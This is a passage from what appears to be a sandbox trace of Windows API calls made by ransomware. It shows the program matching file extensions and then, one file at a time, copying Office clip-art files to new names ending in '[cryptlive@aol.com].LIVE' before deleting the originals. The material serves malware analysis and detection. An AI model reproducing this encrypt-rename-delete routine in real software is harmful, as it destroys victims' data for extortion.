(lpString1=".dbf", lpString2=".MID") returned -1 [0134.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.131] lstrlenW (lpString=".1cd") returned 4 [0134.131] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0134.131] lstrlenW (lpString=".jpg") returned 4 [0134.131] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.131] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.131] lstrlenW (lpString="INDST_01.MID") returned 12 [0134.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.132] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=8568) returned 1 [0134.132] CloseHandle (hObject=0x2f8) returned 1 [0134.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0134.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.133] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.133] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.133] GetLastError () returned 0x0 [0134.133] ReadFile (in: hFile=0x2f8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x2178, lpOverlapped=0x0) returned 1 [0134.140] WriteFile (in: hFile=0x36c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0134.141] ReadFile (in: hFile=0x2f8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.141] WriteFile (in: hFile=0x36c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.141] SetEndOfFile (hFile=0x36c) returned 1 [0134.141] CloseHandle (hObject=0x36c) returned 1 [0134.142] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.142] SetEndOfFile (hFile=0x2f8) returned 1 [0134.145] CloseHandle (hObject=0x2f8) returned 1 [0134.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0134.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.146] lstrlenW (lpString=".doc") returned 4 [0134.146] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.146] lstrlenW (lpString=".docx") returned 5 [0134.146] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.146] lstrlenW (lpString=".pdf") returned 4 [0134.147] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.147] lstrlenW (lpString=".xls") returned 4 [0134.147] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.147] lstrlenW (lpString=".xlsx") returned 5 [0134.147] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.147] lstrlenW (lpString=".ppt") returned 4 [0134.147] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.147] lstrlenW (lpString=".zip") returned 4 [0134.147] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.147] lstrlenW (lpString=".rar") returned 4 [0134.147] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.147] lstrlenW (lpString=".bz2") returned 4 [0134.147] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.147] lstrlenW (lpString=".7z") returned 3 [0134.147] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.147] lstrlenW (lpString=".dbf") returned 4 [0134.147] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.147] lstrlenW (lpString=".1cd") returned 4 [0134.147] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.147] lstrlenW (lpString=".jpg") returned 4 [0134.147] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.147] lstrlenW (lpString=".doc") returned 4 [0134.147] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.147] lstrlenW (lpString=".docx") returned 5 [0134.147] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.148] lstrlenW (lpString=".pdf") returned 4 [0134.148] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.148] lstrlenW (lpString=".xls") returned 4 [0134.148] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.148] lstrlenW (lpString=".xlsx") returned 5 [0134.148] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.148] lstrlenW (lpString=".ppt") returned 4 [0134.148] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.148] lstrlenW (lpString=".zip") returned 4 [0134.148] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.148] lstrlenW (lpString=".rar") returned 4 [0134.148] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.148] lstrlenW (lpString=".bz2") returned 4 [0134.148] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.148] lstrlenW (lpString=".7z") returned 3 [0134.148] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.148] lstrlenW (lpString=".dbf") returned 4 [0134.148] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.148] lstrlenW (lpString=".1cd") returned 4 [0134.148] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0134.148] lstrlenW (lpString=".jpg") returned 4 [0134.148] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.463] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.463] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0134.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.709] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5968) returned 1 [0134.709] CloseHandle (hObject=0x38c) returned 1 [0134.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0134.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0134.861] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.861] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.890] GetLastError () returned 0x0 [0134.890] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1750, lpOverlapped=0x0) returned 1 [0134.922] WriteFile (in: hFile=0x2f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0134.923] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.923] WriteFile (in: hFile=0x2f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.924] SetEndOfFile (hFile=0x2f8) returned 1 [0134.924] CloseHandle (hObject=0x2f8) returned 1 [0134.924] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.924] SetEndOfFile (hFile=0x39c) returned 1 [0134.927] CloseHandle (hObject=0x39c) returned 1 [0134.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0134.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.928] lstrlenW (lpString=".doc") returned 4 [0134.928] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.928] lstrlenW (lpString=".docx") returned 5 [0134.928] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.928] lstrlenW (lpString=".pdf") returned 4 [0134.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString=".xls") returned 4 [0134.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString=".xlsx") returned 5 [0134.929] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.929] lstrlenW (lpString=".ppt") returned 4 [0134.929] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.929] lstrlenW (lpString=".zip") returned 4 [0134.929] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString=".rar") returned 4 [0134.929] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString=".bz2") returned 4 [0134.929] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.929] lstrlenW (lpString=".7z") returned 3 [0134.929] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.929] lstrlenW (lpString=".dbf") returned 4 [0134.929] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.929] lstrlenW (lpString=".1cd") returned 4 [0134.929] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.929] lstrlenW (lpString=".jpg") returned 4 [0134.929] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.929] lstrlenW (lpString=".doc") returned 4 [0134.929] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.929] lstrlenW (lpString=".docx") returned 5 [0134.929] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0134.929] lstrlenW (lpString=".pdf") returned 4 [0134.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString=".xls") returned 4 [0134.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.929] lstrlenW (lpString=".xlsx") returned 5 [0134.930] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0134.930] lstrlenW (lpString=".ppt") returned 4 [0134.930] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.930] lstrlenW (lpString=".zip") returned 4 [0134.930] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.930] lstrlenW (lpString=".rar") returned 4 [0134.930] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.930] lstrlenW (lpString=".bz2") returned 4 [0134.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.930] lstrlenW (lpString=".7z") returned 3 [0134.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.930] lstrlenW (lpString=".dbf") returned 4 [0134.930] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.930] lstrlenW (lpString=".1cd") returned 4 [0134.930] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0134.930] lstrlenW (lpString=".jpg") returned 4 [0134.930] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.930] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.930] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0134.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.944] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10122) returned 1 [0134.944] CloseHandle (hObject=0x314) returned 1 [0134.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0134.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.995] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.995] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0135.003] GetLastError () returned 0x0 [0135.003] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x278a, lpOverlapped=0x0) returned 1 [0135.004] WriteFile (in: hFile=0x398, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0135.006] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.006] WriteFile (in: hFile=0x398, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.006] SetEndOfFile (hFile=0x398) returned 1 [0135.006] CloseHandle (hObject=0x398) returned 1 [0135.006] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.006] SetEndOfFile (hFile=0x1fc) returned 1 [0135.010] CloseHandle (hObject=0x1fc) returned 1 [0135.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0135.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.011] lstrlenW (lpString=".doc") returned 4 [0135.011] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.011] lstrlenW (lpString=".docx") returned 5 [0135.011] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.011] lstrlenW (lpString=".pdf") returned 4 [0135.011] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.011] lstrlenW (lpString=".xls") returned 4 [0135.011] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.011] lstrlenW (lpString=".xlsx") returned 5 [0135.011] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.011] lstrlenW (lpString=".ppt") returned 4 [0135.011] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.011] lstrlenW (lpString=".zip") returned 4 [0135.012] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.012] lstrlenW (lpString=".rar") returned 4 [0135.012] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.012] lstrlenW (lpString=".bz2") returned 4 [0135.012] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.012] lstrlenW (lpString=".7z") returned 3 [0135.012] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.012] lstrlenW (lpString=".dbf") returned 4 [0135.012] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.012] lstrlenW (lpString=".1cd") returned 4 [0135.012] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.012] lstrlenW (lpString=".jpg") returned 4 [0135.012] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.012] lstrlenW (lpString=".doc") returned 4 [0135.012] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.012] lstrlenW (lpString=".docx") returned 5 [0135.012] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.012] lstrlenW (lpString=".pdf") returned 4 [0135.012] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.012] lstrlenW (lpString=".xls") returned 4 [0135.012] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.012] lstrlenW (lpString=".xlsx") returned 5 [0135.012] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.012] lstrlenW (lpString=".ppt") returned 4 [0135.012] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.012] lstrlenW (lpString=".zip") returned 4 [0135.012] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.012] lstrlenW (lpString=".rar") returned 4 [0135.012] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.013] lstrlenW (lpString=".bz2") returned 4 [0135.013] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.013] lstrlenW (lpString=".7z") returned 3 [0135.013] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.013] lstrlenW (lpString=".dbf") returned 4 [0135.013] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.013] lstrlenW (lpString=".1cd") returned 4 [0135.013] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0135.013] lstrlenW (lpString=".jpg") returned 4 [0135.013] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.013] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.013] lstrlenW (lpString="SHOW_01.MID") returned 11 [0135.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 